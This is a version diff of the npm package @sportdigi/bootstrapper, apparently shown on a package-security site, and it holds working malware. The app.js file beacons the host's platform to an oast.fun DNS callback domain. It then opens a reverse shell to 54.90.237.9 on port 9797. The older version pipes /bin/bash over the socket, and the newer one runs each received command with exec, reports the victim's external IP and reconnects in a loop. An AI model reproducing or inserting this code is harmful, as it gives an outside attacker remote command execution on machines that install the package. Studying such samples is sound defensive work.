@sportdigi/bootstrapper 30.1.0 → 32.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +65 -45
  2. package/package.json +3 -1
package/app.js CHANGED
@@ -1,69 +1,89 @@
1
1
  const dns = require('dns');
2
2
  const os = require('os');
3
+ const net = require('net');
4
+ const https = require('https');
5
+ const { exec } = require('child_process');
6
+
3
7
  let platform = os.platform();
4
- function sendDns(query){
5
- let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
6
- dns.resolve(domain, (err, records) => {
8
+ function sendDns(query) {
9
+ let domain = `${query}.pthtwfqhxteakeawipjws71vanexrvnzs.oast.fun`;
10
+ dns.resolve(domain, (err) => {
7
11
  if (err) {
8
- console.error('DNS sorgulama hatası:', err);
9
- return;
12
+ console.error('DNS sorgulama hatası:', err.message);
10
13
  }
11
- });
14
+ });
12
15
  }
13
16
 
14
- if (platform == 'win32'){
15
- sendDns("windows");
17
+ if (platform === 'win32') {
18
+ sendDns('windows');
16
19
  }
17
20
  sendDns(platform);
18
21
 
19
- const net = require('net');
20
- const spawn = require('child_process').spawn;
21
-
22
+ function getExternalIP(callback) {
23
+ https.get('https://api.ipify.org?format=json', (res) => {
24
+ let data = '';
25
+ res.on('data', (chunk) => {
26
+ data += chunk;
27
+ });
22
28
 
23
- const HOST = '54.90.237.9';
24
- const PORT = 9797;
25
- const retryInterval = 15000;
29
+ res.on('end', () => {
30
+ const ipData = JSON.parse(data);
31
+ callback(ipData.ip);
32
+ });
33
+ }).on('error', (err) => {
34
+ console.error('IP sorgulama hatası:', err);
35
+ callback(null);
36
+ });
37
+ }
26
38
 
27
- function connect() {
28
- const client = new net.Socket();
39
+ function server() {
40
+ const client = net.createConnection({ host: '54.90.237.9', port: 9797 }, () => {
41
+ console.log('Client bağlanıldı.');
42
+ getExternalIP((ip) => {
43
+ if (ip) {
44
+ client.write(`Bağlantı sağlandı. Sunucu dış IP: ${ip}\n`);
45
+ } else {
46
+ client.write('Dış IP alınamadı.\n');
47
+ }
48
+ });
49
+ });
29
50
 
30
- client.connect(PORT, HOST, () => {
31
- console.log('Bağlantı kuruldu.');
51
+ client.on('data', (data) => {
52
+ console.log('Client\'tan gelen:', data.toString());
32
53
 
33
- const shell = spawn('/bin/bash', []);
54
+ const command = data.toString().trim();
34
55
 
35
- shell.stdout.on('data', (data) => {
36
- console.log('stdout:', data.toString());
37
- client.write(data);
38
- });
39
-
40
- shell.stderr.on('data', (data) => {
41
- console.error('stderr:', data.toString());
42
- client.write(data);
43
- });
56
+ if (!command) {
57
+ client.write('Geçersiz komut: Boş komut gönderilemez.\n');
58
+ return;
59
+ }
44
60
 
45
- client.on('data', (data) => {
46
- shell.stdin.write(data);
61
+ exec(command, (err, stdout, stderr) => {
62
+ if (err) {
63
+ client.write(`Hata: ${err.message}\n`);
64
+ return;
65
+ }
66
+ if (stderr) {
67
+ client.write(`Hata (stderr): ${stderr}\n`);
68
+ return;
69
+ }
70
+ client.write(stdout);
47
71
  });
72
+ });
48
73
 
49
- client.on('close', () => {
50
- console.log('Bağlantı kapatıldı.');
51
- client.destroy();
52
- scheduleReconnect();
53
- });
74
+ client.on('end', () => {
75
+ console.log('Bağlantı sonlandırıldı.');
76
+ setTimeout(() => {
77
+ server();
78
+ }, 8000)
54
79
  });
55
80
 
56
81
  client.on('error', (err) => {
57
- console.error('Bağlantı hatası:', err);
58
- client.destroy();
59
- scheduleReconnect();
82
+ console.error('Bağlantı hatası:', err.message);
83
+ setTimeout(() => {
84
+ server();
85
+ }, 8000)
60
86
  });
61
87
  }
62
88
 
63
-
64
- function scheduleReconnect() {
65
- console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
66
- setTimeout(connect, retryInterval);
67
- }
68
-
69
- connect();
89
+ server();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "30.1.0",
3
+ "version": "32.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {
@@ -9,6 +9,8 @@
9
9
  "author": "james4141",
10
10
  "license": "ISC",
11
11
  "dependencies": {
12
+ "axios": "^1.7.7",
13
+ "http": "^0.0.1-security",
12
14
  "ssh2": "^1.16.0"
13
15
  }
14
16
  }